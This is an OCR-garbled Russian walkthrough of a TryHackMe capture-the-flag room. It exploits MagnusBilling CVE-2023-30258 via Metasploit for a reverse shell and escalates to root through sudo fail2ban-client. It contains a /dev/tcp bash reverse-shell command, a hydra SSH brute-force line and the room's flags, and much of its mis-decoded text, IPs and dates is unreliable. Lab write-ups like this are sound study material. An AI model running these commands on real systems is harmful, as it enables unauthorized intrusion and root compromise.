Bonkcpy

¢/ Wcnonuutenb

TecTupoBaHue BbiNonHeHo KpaBuoBbiM Hukonaem, HauMHaowWmm cneumanmcTomM no
MHopMaunoHHon BesonacHocTu B 19:54 (AgpueceHHasi KomMHama, MOXHO cKka3amb Oris
pasMUHKU U rpocmo 071 nosy4YeHusi kaligha om xakuHaa camoe mo!).

Ucnonb3oBaHHbIe haunbl:

rockyou.txt - dpann no dakty gns 6pytdopca naposnen, HoO Mbl €ro UCNONb30BaNn Ans
NOBbILLEHWS MPUBUNETNNA.

user.txt - user donar.
root.txt - root donar.

NMopsagok aencTBUN:

1) Co3pgaHuMe nanku KOMHaThbl, BKIloYeHue win kex onsa yao6c¢rsa,
BKNIOYEeHUe BMNH ANA A0CTyna K KOMHaTam

clear; mkdir billing; cd billing; clear; kex —-win; clear; sudo openvpn
../Kolya080808.0ovpn

clear; sudo ./thm-troubleshoot; nmap -sCV 10.10.203.196; sleep 100; clear; cd
billing

2) CkaHupoBaHue NOPTOB C NOMOLLbLI hmap.

Pesynberarthi:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4pl Debian 5+debllu3 (protocol 2.0)

| ssh-hostkey:

| 3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:cO:cc (RSA)

| 256 Ude:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)
|_ 256 26:aa:17:e0:c8:2a:c9:d9:98:17:el:8f:87:73:78:u4d (ED25519)

80/tcp open http Apache httpd 2.4.56 ((Debian))
| http-robots.txt: 1 disallowed entry
| _/mbilling/

| http-title: MagnusBilling



| _Requested resource was http://10.10.45.188/mbilling/

| _http-server-header: Apache/2.4.56 (Debian)
3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)

5038/tcp open asterisk Asterisk Call Manager 2.10.6
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

3) 3anaa B MetaSploit, a1 Hawen akcnnout anAa MagnusBilling 7:

Pesynbrar:

application unaut|

JIXCVE-2023-30258 Detail
MODIFIED

This CVE record has been updated after NVD enrichment efforts were completed. Enrichment data supplied by the NVD may require

amendment due to these changes.

Description
Command Injection vulnerability in MagnusSolution [uElGUVE AR ELFSTallows remote attackers to run arbitrary commands via

unauthenticated HTTP request.

4) NMocmoTtpeB B README.md, s yBugen, 4uto Bepcus HamMm nogxoauT:



Pesynerar:

3  10.10.45.188/mbilling/REAL
&«

= (} GD

Kali Linux #& Kali Tools

SRR
MagnusBilling 7
B i

+

O 8 10.10.45.188/mbilling/README.mc

* KaliDocs ™ KaliForums e\ Kali NetHunter Exploit-DB Googly

5) MoaTomy 51 npocTO BBen BCe HEO6GX0AMMbIe AaHHbIe U NONYY4un

reverse shell:

Pesynbrar:

msf6 exploit(
rhosts =»> 10.16.45.188

Y
/

3

) » set rhosts 10.18.45.188

msf6 exploit( ) > exploit
Msf::0ptionvalidateError One or more options failed to validate: LHOST.
Exploit completed, but no session was created.
msf6 exploit( ) » set lhost 1©.21.44.18
lhost => 18.21.44.18
msf6 exploit(linux/http/magnusbilling unauth_rce cve 2823 30258) > exploit
Started reverse TCP handler on 18.21.44.10:4444
Running automatic check ("set AutoCheck false"™ to disable)
Checking if 18.18.45.188:80 can be exploited.
Performing command injection test issuing a sleep command of 4 seconds.
Elapsed time: 4.21 seconds.
The target is vulnerable. Successfully tested command injection.
Executing PHP for php/meterpreter/reverse tcp
Sending stage (48884 bytes) to 16.18.45.188
Deleted JeSlouhdyfKgr.php
Meterpreter session 1 opened (10.21.44.18:4444 -» 18.10.45.188:43726) at 2025-864-85 18:48:25

Last modified Mame

188768/ rux
188708/ rux
166788/ rax
166788/ rax
166788/ rax
188708/ rux
188708/ rux
166788/ rax
166788/ rax
188768/ rux
188708/ rux
166788/ rax
166644/ ruw-r--r--

|
Lo Ll o
()]

]

6) Oanee s ocmoTtpencs, 3awen B /home

2824-82-27
2824-82-27
2824-82-27
2824-82-27
2824-82-27
2824-82-27
2824-82-27
2824-82-27
2824-82-27
2824-82-27
2824-82-27
2824-83-27
2824-80-13

icepay-cc.php
icepay-ddebit.php
icepay-directebank.php
icepay-giropay.php
icepay-ideal.php
icepay-mistercash.php
icepay-paypal.php
icepay-paysafecard.php
icepay-phone.php
icepay-sms.php
icepay-wire.php
icepay.php

null

W nony4un user dnar:




Pesynbrar:

asterisk@Billing:/var/www/html/mbilling/1lib$ cd /home
cd /fhome
asterisk@gBilling:/home$ 1ls -la

magnus

magnus
tEllRPMEllllnﬂ fhome/magnus$ 1s -la
-la

2 m I_n

magnus magnus
root
root
S magnus
magnus

.b% h_history -» / fnull
.ba_h_ln_uuf
.bashrc

=
config
! .Bnupg
magnus magnus 4896 Mar 4 .local
magnus magnus Mar 4 .profile
.55h
Desktop
Documents
Downloads

Pt Pod Ped Pd Ped

magnus magnus 7
magnus magnus 4 Mar 27 262« Templates
r 4 Videos
user.txt

THM{Uda6831d5f12Ub25eefble92e0f0dalca}

7) Mponucas. sudo -l,, 1 3ameTUn MHTEepPEeCHYI AeTarnb: Mbl UMeeM
AOoCTyn oT cynepnonb3oBartens K fail2ban knueHTy:

Pesynbrar:

astEPisk@BillinF..the magnus$ sudo -1

sudo -1

Matching Defaults entries for asterisk on Billing:
env_reset, mail_ badpass,
secure_path=/usr/local/sbin\:fusr/local/bin\:/usr/sbin\: fusr/bin\:/sbin\:/bin

Runas and Command-specific defaults for asterisk:
Defaults!/usr/bin/fail2ban-client !requiretty

User asterisk may run the following commands on Billing:




8) MNpounTaB HeCKoNbKO cTaTem (ThIK, ThiK, ThIK), i COCTaBUN
HebonbLWwyk cxemKky (He HaXXuMmanTe ecrniv Bbl He B obcuanaHe aTto

CMOTpUTE), U, crieaoBaB Mo 3efeHbIM NYHKTaM B Her, 1 Nony4un
reverse shell:

Pesynbrar:

fail2ban privesc cheat sheet

we have root access we don’t have root access

we don't have ssh stable
we have ssh stable shell nell
shel

don't do this privesc
nano /etc/fail2ban/action.d/iptables—

multiport. conf

sudo /usr/bin/fail2ban-client set sshd action
dptables-multiport actionban "/bin/bash —c 'bash -i
>& /dev/tcp/16.21.40.168/123U 8>&1'"

actionban = /bin/bash —c 'bash -i >&
/dev/tcp/10.21.44.10/1234 B>&1'

hydra -L rockyou.txt -P rockyou.txt ssh://10.10.45.188

nc -lvnp 8888
listening on [any] 8888 ...

connect to [10.21.44.10] from (UNKNOWN) [18.10.45.188] 44906

bash: cannot set terminal process group (2451): Inappropriate foctl for device
bash: no job control in this shell

root@8illing: /#

sh -c 'bash -i >& /dev

nc -lvnp 8888
listening on [any] 8888

connect to [18.21.44.18] from (UNKNOWN) [18.18.45.188] 44986
cannot set terminal process group (2451): Inappropriate ioctl for
no job control in this shell

root@Billing: /#

root@Billing:/# cd root

cd root

9) YUnraem chnar:



https://juggernaut-sec.com/fail2ban-lpe/
https://www.kost.su/%D0%B4%D0%BE%D0%B1%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%B0-fail2ban-%D1%87%D0%B5%D1%80%D0%B5%D0%B7-cli/
https://labex.io/tutorials/brute-force-ssh-in-hydra-549926

Pesynbrar:
root@Billing: /root# 1ls -la

total 48

root 4896
root 4896 -
9 M: 7 .bash_history -» /fdev/null
571 Apr 18 2821 .bashrc
Mar 27
Mar 31 2824 filename
6 Mar 38 4 .gnupg
6 Mar

2

(NN Te

L =

7 gl_history -» /dev/null
Mar 27 2824 passwordMysqgl.log
Jul 9 2819 .profile
Mar 27 2624 root
Mar 27 4 .subversion
.wget-hsts

1
1
1
1

3 =

THM{33ad5b530e71a1726uU8fU2Uec23fae60}

ypa!

MpumeyvaHune

/ MpumeyaHue

AdureHHasa KomHaTa, NpaBUIIbHO caenaHa, MHe noHpasunock. C fail2ban g ewle He
noBbILLan NpUBUNErnn)

OrpomHoe cnacubo TryHackMe 3a komHarty!

UTor:

dotonoaTBepXKAEHUE NPOXOXKAEHUA:



Congratulations on completing Billing!!!

Streak
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& 60 =1 [ Challenge &1

Bupeo BbINONMHEHUA:

OpwuruHan:

€ 0853103 - Mpodns: Bes wasearna - Cuenor: Bes Hassarn
aiin () PenakTvpoBarie () BaA(Y) [ok-naHen @) Mpoguns(B) KomnekuancueH(S) Cepeuc() Crpaska(H)

e e S e —Y

A= =0

p—— [ — B vrpsanaine

S = 28 [saae

e Saryes avpryanea T s
B ssaneamon sotes © 4 ‘:- o)
o e [—
— o
B P o P T-r e
& 3axeatexomworoaymono K Ceolicrea  E)Ownstps  Vcrpoiicrso  MukpodoH (RITMIX ROM-180 Microphone) =
CueHb B Verounnkm T Mukwep 3syka ™ Nepexogs Mexay cueHammn
3aXEaT BXOAHOTO ByAVONOTOKa 0
= Sanyxarine HauaTs TpaHcALMio

T Ynpasnenne

Cuena pw
. @ [wrensHocs  300ms H3uaTb 33NUCH
3anyek BuptyansHe Trameps!

Mukp/gon
LR ] b 5 B -
[l es—

“» -
ez . Rl e—
S Beixon
CPU:09%  60.00/6000 FPS

J 1840
Sl oo P e s B




* YouTube


https://youtu.be/Na-fH5EDbxc

